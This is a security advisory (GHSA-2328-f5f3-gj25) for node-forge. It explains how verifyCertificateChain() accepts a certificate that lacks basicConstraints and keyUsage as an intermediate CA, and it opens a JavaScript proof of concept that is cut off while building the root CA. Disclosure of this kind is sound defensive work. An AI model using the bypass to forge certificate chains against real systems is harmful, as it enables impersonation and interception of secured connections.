GHSA-2328-f5f3-gj25

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  {...